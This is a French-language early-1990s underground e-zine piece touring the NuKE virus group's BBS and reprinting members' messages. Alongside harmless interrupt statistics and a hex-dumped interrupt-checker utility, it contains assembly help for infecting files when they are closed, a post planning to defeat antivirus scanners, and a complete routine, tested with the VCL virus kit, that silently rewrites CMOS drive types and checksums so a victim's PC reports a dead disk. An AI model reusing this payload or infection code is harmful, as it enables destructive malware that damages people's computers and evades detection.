CHéRIE, BARRE LES PORTES, ON SORT... Visite d'un co0l board: Cybernetic Violence par Santa Claus Greets: Pure Energy (Autorisation) Salut les mecs, content de vous revoir. Fin de la formule de politesse. Pour ce numéro, soit dit en passant, exceptionnel, c'est le Cybernetic Violence qui va passer au broyeur. Ce board est exclusivement H/P/C/A/V et a déjà sa réputation de faite. Histoire de voir un peu de pays, on va suivre la recette originelle... On ne brise pas une combinaison gagnante... Et pas de "J'en ai rien à foutre de c'te place là!", C'est quand même de notre chère patrie dont on parle ici. Pas seulement de notre patrie le cyberspace, mais c'est un board québécois... Et puis il est, disons, "supérieur à beaucoup d'autres", pour ne pas outrer personne avec un autre terme qui pourrait ne pas convenir... (Elite...) Mais faut croire que la qualité des boards en général a baissé depuis la fermeture du défunt Blitzkrieg... Et si par pur hasard le NPC-004 tombait entre les mains de l'ex-sysop de Blitzkrieg BBS, prière de nous contacter... Nous sommes en deuil... (Un peu de tenue, c'est quand même la fin du monde...) Je disais donc? Ah! Oui... Le Cybernetic: histoire de ne pas perdre de temps, on va commencer... Faudrait pas que j'empiète sur les plates-bandes des autres... Allez! Welcome to Cybernetic Violence - NuKE/NuKENet WHQ - (1:950/0), NuKE / NuKENet World HeadQuarters SysOp: Pure Energy Co-SysOp: Rock Steady - Running With a 16.8 K HST - H/P/C/A/V Only - NuKE Member board - NuKeNeT Whq - InterNet/Usenet Node (Virus.Comp) Cybernetic Violence est le World HeadQuarter de NuKE, un groupe principalement axé sur les virii. Pour vous situer un peu, les deux leaders, ma foi, incontestés, du monde des virii sont NukE et Phalcon/Skism. Au goût de Blitz, cependant, rien n'approche la qualité des messageries du NuKENeT, toujours en ce qui concerne les virii. Et on va vous en faire la preuve. NuKENeT est un des nets underground les plus recherchés par les babs dignes de ce nom. Il se répand partout en Europe (avec des nodes officielles en Suisse, notamment) et en Australie (mate!). Voici d,ailleurs certaines de nodes officielles de NukE... NuKE-NeT BBS Name ÃÙÀ ´ Number ÃÙÀ´ Location ÃÙ À´ SysOp ÃÙÀ´ Node Cybernetic Violence 514-385-XXXX Montreal Pure Energy 1:950/0 Disintegration Zone 514-PRI-VATE Montreal Rock Steady 1:950/1 The Hell Pit 708-459-XXXX Illinois Kato & Hades1:950/2 Total Mayhem +61-3-PRIVATE Australia Phrozen Doberman 1:950/3 The Pit +61-3-742XXXX Australia Greyswandir 1:950/4 Brain Damage 819-778-XXXX Hull Dark Angel 01:950/5 PhunLine ][ +46-8-716XXXX Sweden Ford Fairlane 1:950/6 Land of Silence 418-687-XXXX Quebec City CoaxialKarma1:950/7 Enigma E:N:U:N +41-22-340XXXX Switzerland Savage Beast1:950/8 Demoralized City +46-31-91XXXX Sweden Tormentor 1:950/9 Power House BBS 416-692-XXXX Toronto Thunder 1:950/10 NuKE compte parmi ses rangs des noms aussi prestigieux que Rock Steady ou le fameux Nowhere Man, le créateur du désormais célèbre VCL. DISTRIBUTION DES MESSAGERIES General Topics [NuKENeT] Anti-Viral Talk [NuKENeT] ASM Programming [NuKENeT] Unix Systems [NuKENeT] Phreaking Away [NuKENeT] System Entry [NuKENeT] NuKE/SCP Public [NuKENeT] Comp.Virus (Internet)[NuKENeT] Alt.Security [NuKENeT] On va tout d'abord visiter la messagerie la plus pêtée de toutes, Anti-Viral Talk. C'est pas compliqué, pour le commun des mortels, ce type de discussion ressemble à du serbo-croate... Msg #: [104/121] Base: Anti-Viral Talk [NuKENeT] Date : 17 Jan 93 19:26:34 Stat: Sent From : Arthur Ellis To : All Title: Virus Statistics I have not seen any good statistical analyses of viruses, with the exception of the various MtE tests. So here is a beginning. A program called CHKINT was used to detect possible interrupts by scanning for CDh opcodes. This is an approximate measure only. Frequency of Interrupts in a sample of 908 different .COM type viruses, sampled using CHKINT.EXE. Freq int fn | Freq int fn | Freq int fn | Freq int fn ----------------|---------------|---------------|--------------- 24 00h 01h | 3 00h 02h | 6 00h 03h | 2 00h 04h 2 00h 05h | 1 00h 06h | 1 00h 44h | 28 01h 01h 4 01h 02h | 1 01h 04h | 1 01h 06h | 1 01h 17h 15 02h 01h | 3 02h 02h | 2 02h 03h | 1 02h 06h 10 03h 01h | 2 03h 02h | 1 03h 03h | 1 03h 05h 1 03h 07h | 14 04h 01h | 1 04h 02h | 2 04h 03h 1 04h 07h | 10 05h 01h | 4 05h 02h | 1 05h 03h 3 05h 04h | 13 06h 01h | 5 06h 02h | 11 07h 01h 5 07h 02h | 1 07h 23h | 1 07h FAh | 7 08h 01h 5 08h 02h | 1 08h 12h | 7 09h 01h | 4 09h 02h 7 0Ah 01h | 1 0Ah 02h | 7 0Bh 01h | 1 0Bh 02h 1 0Bh 03h | 2 0Bh 04h | 3 0Bh 07h | 5 0Ch 01h 7 0Dh 01h | 1 0Dh 03h | 1 0Dh 06h | 9 0Eh 01h 1 0Eh 02h | 7 0Fh 01h | 1 0Fh 03h |125 10h 01h 25 10h 02h | 37 10h 03h | 8 10h 04h | 5 10h 05h 11 10h 06h | 6 10h 07h | 3 10h 08h | 5 10h 09h 4 10h 0Ah | 1 10h 0Bh | 3 10h 0Ch | 1 10h 0Dh 1 10h 0Eh | 2 10h 0Fh | 1 10h 10h | 2 10h 12h 2 10h 14h | 3 10h 15h | 1 10h 1Eh | 8 11h 01h 3 11h 02h | 2 11h 05h | 16 12h 01h | 2 12h 02h 1 12h 03h | 79 13h 01h | 31 13h 02h | 15 13h 03h 15 13h 04h | 11 13h 05h | 10 13h 06h | 1 13h 07h 4 13h 08h | 5 13h 09h | 6 13h 0Ah | 1 13h 0Bh 1 13h 0Ch | 4 14h 01h | 2 14h 02h | 1 14h 03h 1 14h 04h | 1 14h 05h | 11 15h 01h | 6 15h 02h 2 15h 03h | 1 15h 04h | 1 15h 06h | 1 15h 1Bh 34 16h 01h | 28 16h 02h | 3 16h 03h | 4 16h 04h 2 16h 05h | 2 16h 06h | 1 16h 0Ah | 9 17h 01h 2 17h 02h | 1 17h 03h | 4 18h 01h | 2 18h 02h 30 19h 01h | 7 19h 02h | 55 1Ah 01h | 14 1Ah 02h 16 1Ah 03h | 1 1Ah 04h | 1 1Ah 06h | 4 1Bh 01h 1 1Bh 02h | 1 1Bh 03h | 6 1Ch 01h | 4 1Ch 02h 3 1Ch 03h | 4 1Dh 01h | 1 1Dh 02h | 1 1Dh 04h 1 1Dh 06h | 3 1Eh 01h | 3 1Eh 02h | 2 1Fh 01h 1 1Fh 02h | 1 1Fh 03h | 1 1Fh 44h |351 20h 01h 75 20h 02h | 14 20h 03h | 15 20h 04h | 3 20h 05h 1 20h 09h | 87 21h 01h | 44 21h 02h | 17 21h 03h 18 21h 04h | 16 21h 05h | 20 21h 06h | 14 21h 07h 21 21h 08h | 29 21h 09h | 41 21h 0Ah | 17 21h 0Bh 24 21h 0Ch | 18 21h 0Dh | 15 21h 0Eh | 28 21h 0Fh 14 21h 10h | 24 21h 11h | 25 21h 12h | 14 21h 13h 33 21h 14h | 19 21h 15h | 23 21h 16h | 21 21h 17h 21 21h 18h | 16 21h 19h | 5 21h 1Ah | 6 21h 1Bh 10 21h 1Ch | 12 21h 1Dh | 5 21h 1Eh | 5 21h 1Fh 2 21h 20h | 5 21h 21h | 3 21h 22h | 8 21h 23h 6 21h 24h | 7 21h 25h | 8 21h 26h | 4 21h 27h 6 21h 28h | 3 21h 29h | 2 21h 2Ah | 5 21h 2Bh 4 21h 2Ch | 9 21h 2Dh | 25 21h 2Eh | 10 21h 2Fh 5 21h 30h | 2 21h 31h | 1 21h 32h | 5 21h 33h 1 21h 37h | 1 21h 38h | 1 21h 39h | 1 21h 3Ah 4 21h 3Bh | 2 21h 3Ch | 1 21h 3Eh | 1 21h 40h 1 21h 42h | 1 21h 44h | 1 21h 47h | 1 21h 48h 1 21h 49h | 1 21h 4Dh | 1 21h 4Eh | 1 21h 54h 2 21h 57h | 1 21h 59h | 2 21h 5Ch | 1 21h 64h 1 21h 65h | 1 21h 67h | 1 21h 79h | 1 21h 7Ch 1 21h 84h | 1 21h 8Bh | 3 21h F0h | 3 22h 01h 6 23h 01h | 1 23h 02h | 11 24h 01h | 1 24h 0Ah 18 25h 01h | 7 25h 02h | 3 25h 03h | 1 25h 04h 74 26h 01h | 18 26h 02h | 1 26h 03h | 2 26h 04h 3 26h 05h | 1 26h 0Ch | 33 27h 01h | 1 27h 02h 5 28h 01h | 2 28h 02h | 7 29h 01h | 7 2Ah 01h 3 2Ah 03h | 13 2Bh 01h | 1 2Bh 06h | 8 2Ch 01h 13 2Dh 01h | 1 2Dh 02h | 18 2Eh 01h | 11 2Fh 01h 19 2Fh 02h | 9 2Fh 03h | 16 2Fh 04h | 4 2Fh 06h 2 2Fh 08h | 1 2Fh 09h | 1 2Fh 0Ch | 1 2Fh 1Ah 1 2Fh 20h | 1 2Fh 2Ah | 5 30h 01h | 1 30h 34h 1 30h 38h | 1 31h 01h | 1 31h 03h | 6 32h 01h 1 32h 03h | 2 32h 06h | 5 32h 07h | 2 32h 1Ah 19 33h 01h | 1 33h 04h | 4 34h 01h | 5 35h 01h 1 35h 06h | 1 35h 08h | 7 36h 01h | 5 37h 01h 3 37h 03h | 1 37h 09h | 3 38h 01h | 5 39h 01h 1 39h 12h | 11 3Ah 01h | 1 3Ah 03h | 10 3Bh 01h 1 3Bh 05h | 1 3Bh 07h | 6 3Ch 01h | 6 3Dh 01h 1 3Dh 0Dh | 1 3Eh 01h | 1 3Eh 02h | 3 3Eh 03h 7 3Fh 01h | 37 40h 01h | 2 40h 02h | 1 40h 03h 1 41h 02h | 5 42h 01h | 1 43h 01h | 1 43h 02h 3 44h 01h | 1 44h 02h | 7 45h 01h | 1 45h 02h 2 45h 03h | 9 46h 01h | 6 47h 01h | 1 47h 02h 3 48h 01h | 1 48h 02h | 6 49h 01h | 5 4Ah 01h 3 4Bh 01h | 1 4Bh 03h | 1 4Ch 05h | 6 4Dh 01h 1 4Dh 03h | 7 4Eh 01h | 8 4Fh 01h | 1 4Fh 02h 1 4Fh 16h | 10 50h 01h | 2 50h 05h | 1 50h 36h 4 51h 01h | 2 51h 02h | 3 52h 01h | 1 52h 02h 2 53h 01h | 7 54h 01h | 5 55h 01h | 3 56h 01h 1 56h 02h | 6 57h 01h | 2 58h 01h | 2 58h 02h 9 59h 01h | 2 59h 02h | 6 5Ah 01h | 1 5Ah 02h 7 5Bh 01h | 4 5Ch 01h | 4 5Dh 01h | 4 5Eh 01h 4 5Fh 01h | 4 60h 01h | 2 60h 02h | 5 61h 01h 1 61h 0Bh | 3 62h 01h | 1 62h 02h | 3 63h 01h 1 63h 02h | 1 63h 03h | 1 64h 01h | 2 64h 02h 1 64h 14h | 7 65h 01h | 2 66h 01h | 1 66h 02h 8 67h 01h | 2 67h 05h | 1 67h 08h | 1 67h 23h 1 68h 01h | 3 69h 01h | 1 69h 04h | 2 69h 05h 1 69h 06h | 1 69h 10h | 7 6Ah 01h | 1 6Ah 03h 4 6Bh 01h | 1 6Bh 02h | 2 6Bh 10h | 3 6Ch 01h 2 6Dh 02h | 1 6Dh 05h | 1 6Dh 06h | 1 6Dh 07h 1 6Dh 0Ch | 7 6Eh 01h | 1 6Fh 01h | 1 70h 02h 1 70h 0Bh | 2 70h 10h | 1 70h 20h | 1 71h 01h 4 72h 01h | 1 72h 02h | 1 72h 04h | 7 73h 01h 1 73h 02h | 1 73h 07h | 15 74h 01h | 3 74h 02h 5 74h 03h | 1 74h 07h | 8 75h 01h | 7 75h 02h 2 76h 01h | 2 76h 02h | 3 77h 01h | 3 78h 01h 1 78h 03h | 8 79h 01h | 3 7Ah 01h | 4 7Bh 01h 3 7Bh 05h | 4 7Ch 01h | 2 7Dh 01h | 2 7Eh 01h 1 7Eh 14h | 4 7Fh 01h | 1 7Fh 02h | 4 7Fh 03h 1 7Fh 06h | 30 80h 01h | 3 80h 02h | 2 80h 03h 1 80h 04h | 1 80h 08h | 7 81h 01h | 1 81h 02h 1 81h 06h | 4 82h 01h | 14 83h 01h | 3 83h 02h 1 83h 0Bh | 5 84h 01h | 1 84h 05h | 1 85h 01h 5 86h 01h | 2 87h 01h | 1 87h 02h | 1 87h 03h 1 88h 01h | 1 88h 02h | 1 88h 03h | 3 89h 02h 1 89h 12h | 9 8Ah 01h | 1 8Ah 02h | 1 8Ah 03h 1 8Ah 3Ah | 23 8Bh 01h | 1 8Bh 09h | 4 8Ch 01h 1 8Ch 02h | 6 8Dh 01h | 1 8Dh 02h | 12 8Eh 01h 1 8Eh 02h | 3 8Fh 01h | 2 90h 01h | 1 90h 02h 2 90h 03h | 7 91h 01h | 5 92h 01h | 3 93h 01h 2 94h 01h | 5 95h 01h | 3 96h 01h | 1 96h 02h 2 97h 01h | 1 98h 01h | 1 98h 02h | 3 99h 01h 1 99h 03h | 2 9Ah 01h | 1 9Bh 02h | 3 9Ch 01h 8 9Dh 01h | 2 9Eh 01h | 6 9Fh 01h | 5 A0h 01h 1 A0h 02h | 1 A0h 03h | 8 A1h 01h | 1 A1h 1Ah 2 A2h 01h | 1 A2h 03h | 3 A3h 01h | 1 A3h 0Dh 1 A4h 01h | 1 A4h 02h | 2 A5h 01h | 2 A6h 01h 5 A7h 01h | 1 A7h 03h | 3 A8h 01h | 1 A9h 01h 1 A9h 02h | 8 AAh 01h | 8 ABh 01h | 3 ABh 02h 2 ABh 03h | 3 ABh 04h | 1 ABh 06h | 8 ACh 01h 4 ADh 01h | 2 AEh 01h | 2 AFh 01h | 6 B0h 01h 2 B0h 02h | 5 B1h 01h | 3 B2h 01h | 2 B3h 01h 4 B4h 01h | 1 B4h 07h | 3 B5h 01h | 2 B5h 02h 1 B5h 04h | 3 B6h 01h | 4 B7h 01h | 15 B8h 01h 7 B8h 02h | 1 B8h 03h | 1 B8h 0Dh | 1 B9h 01h 1 B9h 02h | 11 BAh 01h | 1 BAh 04h | 10 BBh 01h 1 BBh 02h | 3 BBh 03h | 7 BCh 01h | 2 BCh 02h 4 BDh 01h | 3 BEh 01h | 6 BEh 03h | 6 BFh 01h 1 BFh 02h | 1 BFh 05h | 3 C0h 01h | 5 C1h 01h 1 C1h 02h | 3 C2h 01h | 2 C2h 02h | 3 C3h 01h 8 C4h 01h | 2 C5h 01h | 5 C6h 01h | 1 C6h 02h 1 C7h 02h | 4 C8h 01h | 4 C9h 01h | 1 C9h 02h 1 CAh 01h | 1 CAh 02h | 4 CBh 01h | 6 CCh 01h 5 CCh 02h | 5 CDh 01h | 8 CDh 02h | 2 CDh 04h 1 CDh 06h | 1 CDh 10h | 1 CDh 14h | 2 CDh 18h 1 CDh 1Eh | 1 CDh 2Eh | 1 CDh 3Eh | 1 CDh 42h 2 CDh 47h | 1 CDh 4Eh | 1 CDh 68h | 1 CDh 71h 1 CDh 97h | 13 CEh 01h | 1 CEh 09h | 2 CFh 01h 2 CFh 02h | 1 CFh 06h | 4 D0h 01h | 1 D0h 09h 2 D1h 01h | 2 D1h 02h | 1 D1h 05h | 6 D2h 01h 1 D2h 05h | 5 D3h 01h | 1 D3h 07h | 1 D4h 01h 5 D6h 01h | 5 D7h 01h | 1 D7h 04h | 9 D8h 01h 1 D8h 03h | 2 D9h 01h | 4 DAh 01h | 9 DBh 01h 4 DCh 01h | 2 DDh 01h | 1 DDh 02h | 1 DEh 01h 1 DFh 01h | 1 DFh 02h | 3 E0h 01h | 1 E0h 02h 1 E0h 06h | 2 E1h 01h | 1 E1h 02h | 2 E2h 01h 2 E2h 02h | 25 E3h 01h | 1 E3h 02h | 2 E4h 01h 2 E4h 02h | 1 E5h 01h | 1 E5h 02h | 2 E6h 01h 1 E6h 02h | 1 E7h 01h | 1 E7h 02h | 6 E8h 01h 1 E8h 15h | 4 E9h 01h | 1 E9h 02h | 1 E9h 05h 1 EAh 01h | 14 EBh 01h | 1 EBh 06h | 2 ECh 01h 1 ECh 03h | 1 ECh 17h | 1 ECh 1Ah | 2 EDh 01h 1 EDh 02h | 4 EEh 01h | 4 EFh 01h | 5 F0h 01h 1 F0h 05h | 1 F1h 02h | 1 F2h 01h | 18 F3h 01h 8 F4h 01h | 8 F5h 01h | 3 F6h 01h | 2 F6h 07h 4 F7h 01h | 2 F8h 01h | 2 F8h 07h | 2 F9h 01h 1 F9h 02h | 4 FAh 01h | 7 FBh 01h | 1 FBh 02h 12 FCh 01h | 3 FCh 02h | 4 FDh 01h | 3 FDh 02h 13 FEh 01h | 1 FEh 03h /\ < AE > \/ --- Msged/sq * Origin: Cyber City (40:2/2) Msg #: [105/121] Base: Anti-Viral Talk [NuKENeT] Date : 18 Jan 93 01:37:01 Stat: Sent From : Aristotle To : Arthur Ellis Title: Virus Statistics If you use that on a STEM and LEAF diagram, then the information you gave would be beneficial to me for sure! ARiSToTLE --- GEcho 1.00/beta+ * Origin: If at first you don't succeed...Dig deeper into the melon! (40:1/13) Msg #: [109/121] Base: Anti-Viral Talk [NuKENeT] Date : 22 Jan 93 00:32:02 Stat: Sent From : Terminator Z To : All Title: OK OK Hot off the press! New virus! COM/EXE/BIN/OVL/SYS Parasitic Resident Polymorphic Multipartite Stealth virus, >>> 2048 bytes << Hi Rock. To> You told me before that you liked dive deep into debugging To> sessions with Scan etc... To> Whatabout making a report of the 'new scanning engine' that Scan To> and Fprot uses? To> Would be very useful, especially when it comes to polymorphic To> code. To> Maybe even extract the algorithm used for catching MtE? To> I mean, if you look to the TPE, there he has put quite much work To> in 'senseless instructions' and 'dumb jumps' but technically the Humm, nice idea, I was working with that as a matter of fact, I was working thru F-prot resently to by-pass some features, and why some of my features didn't work, All it all I think I can provide some info, I hate to do it all myself, I'm really not `too' happy, we got hundreds of Av products. From a Stand point of view, my session with F-prot have been challeging, its good, REAL good, VIRSTOP is not however, compared to VSHIELD. Vshield will be a tough cookie, I dunno what I saw last time, by quite comfusing, maybe its the C++ overhead? But its good, and then Scan, the easiest of the all. However this will take sometime, I would want to form an `team' of debuggers. I can't speak for myself, my lack of knowledge on `Cryption' Sucks, This will throw me far out, but because of my own Cracking background, bypassing any traps won't be a problem, I can handle my self there, and come up with a `AntiStealth' routine to defeat it. But I'm not Good enough. I'm okay, but can't handle all this by my own, I was willing to SET this as a goal for Info Journal #5 or #6, but its demanding, I have been working with Screaming radish resently of F-prot, we talk about some nice routines it had. But we need a few more other guys. A Small team, never the less a good team. I can contact you guys, I don't mind the call charges, (NOT), I don't wish to push anyone, But frankly Tormentor I've seen some of your works, and your groups, quite something, don't be a stranger here. Fuck the moral group expectations, We shouldn't compete, as we have the same target in mind, self-knowledge and show the `AVers' that there 100% effective Scanners suck! Terminator-Z, lots of `steams' comes between us, what do you say? We could use a a cool programmer? Tormentor, So whats next? I'll jump into it if you come along...or else its gotta wait and take a while, lets hit them with a BIG bang! Rocky Msg #: [267/365] Base: ASM Programming [NuKENeT] Date : 12 Jan 93 22:57:00 Stat: Sent From : Ken To : Soltan Griss Title: Disenfect on the fly * In A Message To Ken, Soltan Griss Said: SG> well thats what i have working right now, the only pproblem i seem SG> to have is infecting the file on the close.. how would i get the SG> file name from the handle. I have a PD program that i can add, but SG> it's hugh. and i want a simpler way of doing it.. Here is how I do it. You need to get the system file table (SFT) for the handle number. push bx ; Save file handle mov ax,1220h ; DOS get JFT entry int 2fh ; Call DOS ; ES:[DI] contains the SFT ; entry for the file handle mov ax,1216h ; DOS get SFT entry pointer mov bx,byte ptr [di] ; Put SFT entry number in BX int 2fh ; Call DOS ; ES:DI holds SFT pointer ; for the file ES:DI now points to the SFT. There are also lots of other goodies in this table. Here is the structure for the SFT (from UNDOCUMENTED DOS) For DOS 3.1+ ------------ 00h DWORD Pointer to next file table 04h WORD Number of files in this table 06h 35 bytes per file 00h WORD Number of file handles referring to this file 02h WORD File open mode (Int 21h/AH=3Dh) bit 15 set if opened via FCB 04h BYTE File attribute 05h WORD Device info word 07h DWORD Pointer to device driver header if char. device else pointer to DOS drive parameter block 0Bh WORD Starting cluster of file 0Dh WORD File time in packed format (Int 21h/AX=5700h) 0Fh WORD File date in packed format (Int 21h/AX=5700h) 11h DWORD File size 15h DWORD Current offset in file 19h WORD Relative cluster within file of last accessed * 1Bh WORD Absolute cluster number of last accessed 0000h if never read or written to * 1Dh WORD Number of sector containing directory entry 1Fh BYTE Number of directory entry within sector --> 20h 8 BYTES Filename (No extension, padded with spaces) --> 28h 3 BYTES File Extension 2Bh DWORD (SHARE.EXE) pointer to previous SFT sharing same file 2Fh WORD (SHARE.EXE) network machine number which opned file 31h WORD PSP segment of file's owner 33h WORD Offset within SHARE.EXE code segment of sharing record * For DOS 4.x ----------- 1Bh DWORD Number of sector containing directory entry 1Dh 3 BYTES Unknown (Network redirector) 35h WORD (local) absolute cluster number of last accessed 37h DWORD Pointer to IFS driver for file, 00000000h if native DOS So, in both cases, the file extension will start at DI+39. -Ken --- GEcho 1.00/beta+ * Origin: 2181EBE700727B8CC1F913CBB44ACD21 - (40:1/1) Msg #: [274/365] Base: ASM Programming [NuKENeT] Date : 17 Jan 93 19:29:27 Stat: Sent From : Arthur Ellis To : All Title: CHKINT.COM Here is the interrupt checker. It can be useful for finding unusual interrupt routines. N CHKINT.COM E 0100 E9 99 01 0D 0A 43 48 4B 49 4E 54 20 28 43 29 20 E 0110 62 79 20 50 61 64 67 65 74 74 2C 20 31 39 38 39 E 0120 0A 0D 20 45 78 74 72 61 63 74 73 20 49 6E 74 65 E 0130 72 72 75 70 74 20 53 65 71 75 65 6E 63 65 73 20 E 0140 28 43 44 20 78 78 29 20 66 6F 75 6E 64 20 69 6E E 0150 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 E 0160 73 0A 0D 20 49 6E 76 6F 63 61 74 69 6F 6E 3A 20 E 0170 43 48 4B 49 4E 54 20 3C 66 69 6C 65 6E 61 6D 65 E 0180 3E 1A 24 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0280 00 00 00 00 24 00 00 00 00 00 00 00 20 20 20 00 E 0290 00 68 20 20 20 20 00 00 68 0D 0A 24 B4 62 CD 21 E 02A0 8E C3 BE 80 00 26 8A 0C 80 F9 00 75 09 BA 63 01 E 02B0 B4 09 CD 21 CD 20 46 8B 16 83 02 32 FF 8A D9 03 E 02C0 DE 26 89 17 46 89 36 85 02 B4 3D B0 00 8C DA 89 E 02D0 16 89 02 8C C2 8E DA 8B 16 85 02 CD 21 73 25 BA E 02E0 EE 02 B4 09 CD 21 8B 16 85 02 CD 21 CD 20 20 43 E 02F0 6F 75 6C 64 20 6E 6F 74 20 6F 70 65 6E 20 46 69 E 0300 6C 65 20 24 A3 87 02 B4 09 8B 16 85 02 CD 21 BA E 0310 1D 03 CD 21 8B 16 89 02 8E DA EB 3A 90 0D 0A 20 E 0320 50 6F 73 73 69 62 6C 65 20 49 6E 74 65 72 72 75 E 0330 70 74 73 20 46 6F 75 6E 64 20 0D 0A 20 20 20 4E E 0340 6F 2E 20 20 20 54 69 6D 65 73 20 4F 63 63 75 72 E 0350 72 65 64 0D 0A 24 B4 3F B9 00 02 8B 1E 87 02 BA E 0360 15 04 CD 21 73 22 BA 6F 03 B4 09 CD 21 CD 20 20 E 0370 42 61 64 20 66 69 6C 65 20 72 65 61 64 20 72 65 E 0380 70 6F 72 74 65 64 20 24 3D 00 00 7F 33 B4 3E CD E 0390 21 BF 00 00 BB 00 00 8A 9D 83 01 83 FB 00 74 15 E 03A0 E8 51 00 A3 96 02 8B DF E8 49 00 A3 8F 02 BA 8C E 03B0 02 B4 09 CD 21 47 81 FF FF 00 75 DB CD 20 CD 20 E 03C0 BE 15 04 8B C8 83 F9 00 74 8C 8A 04 46 49 80 3E E 03D0 8B 02 00 7F 0B 3C CD 75 EC C6 06 8B 02 01 EB E5 E 03E0 32 E4 88 26 8B 02 8B F8 8A 9D 83 01 FE C3 88 9D E 03F0 83 01 EB D1 33 C0 8A E3 80 E4 0F 80 C4 30 80 FC E 0400 39 7E 03 80 C4 07 B1 04 8A C3 D2 E8 04 30 3C 39 E 0410 7E 02 04 07 C3 00 00 00 00 00 00 00 00 00 00 00 E 0420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0540 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 05A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 05B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 05C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 05D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 05E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 05F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0610 00 00 00 00 00 RCX 0515 W Q --- Msged/sq * Origin: Cyber City (40:2/2) Msg #: [311/365] Base: ASM Programming [NuKENeT] Date : 23 Jan 93 23:34:00 Stat: Sent From : Screaming Radish To : Rock Steady Title: VCL routine Hello Rock! I promised you a routine to modify the drive types in cmos, so having a hour to spare tonight I figured I may as well keep that promise. The follow routine has been tested with the VCL 1.0 and as far as I can tell works fine. What this one does is change the cmos drive type for any defined drives and recalculates the cmos checksum so there is no telltale cmos failure message. The net effect is the bios will either report a hard drive failure just like it would with a dead drive or display a "no operating system" message. No data is actually lost on the drive unless the user is a fool and reformats, if they are that stupid the deserve to lose data ;-) Screaming ======================================================================= cld push ds ; save ds xor ax,ax ; zero ax mov ds,ax ; ds = 0000h mov si,046ch ; ticks since midnight lodsw ; get lsw mov bx,ax ; save it in bx lodsw ; get msw or bx,ax ; combine it with lsw xor bl,bh ; combine into a byte pop ds ; restore ds mov dx,70h ; dx = register latch address mov al,2eh ; msb of checksum out dx,al ; latch register address jmp $+2 ; short delay inc dx ; dx = register r/w io address in al,dx ; read register mov ch,al ; msb to ch dec dx ; dx = register latch address mov al,2fh ; lsb of checksum out dx,al ; latch register address jmp $+2 ; short delay inc dx ; dx = register r/w io address in al,dx ; read register mov cl,al ; lsb to cl dec dx ; dx = register latch address mov al,12h ; hard drive type register ; bits 7-4 = first drive ; bits 3-0 = second drive out dx,al ; set register jmp $+2 ; short delay inc dx ; dx = register r/w io address in al,dx ; read register mov bh,al ; save drive types sub cx,ax ; subtract from checksum and al,0fh ; mask for second drive jnz cmos_1 ; jmp if 2 hard drives and bl,0f0h ; mask out 2nd drive modifi cmos_1: xor bl,bh ; modify drive types xor bh,bh ; zero bh for checksum add add cx,bx ; update checksum dec dx ; dx = register latch address mov al,12h ; drive type register out dx,al ; set register jmp $+2 ; short delay inc dx ; dx = register r/w io address mov al,bl ; new drive types out dx,al ; write register dec dx ; dx = register latch address mov al,2eh ; msb of checksum out dx,al ; set register jmp $+2 ; short delay inc dx ; dx = register r/w io address mov al,ch ; msb of new checksum out dx,al ; write register dec dx ; dx = register latch address mov al,2fh ; lsb of checksum out dx,al ; set register jmp $+2 ; short delay inc dx ; dx = register r/w io address mov al,cl ; lsb of new checksum out dx,al ; write register ======================================================================= --- GoldED 2.40 * Origin: The House of the Screaming Radish [NuKE] (111:950/75) ------- 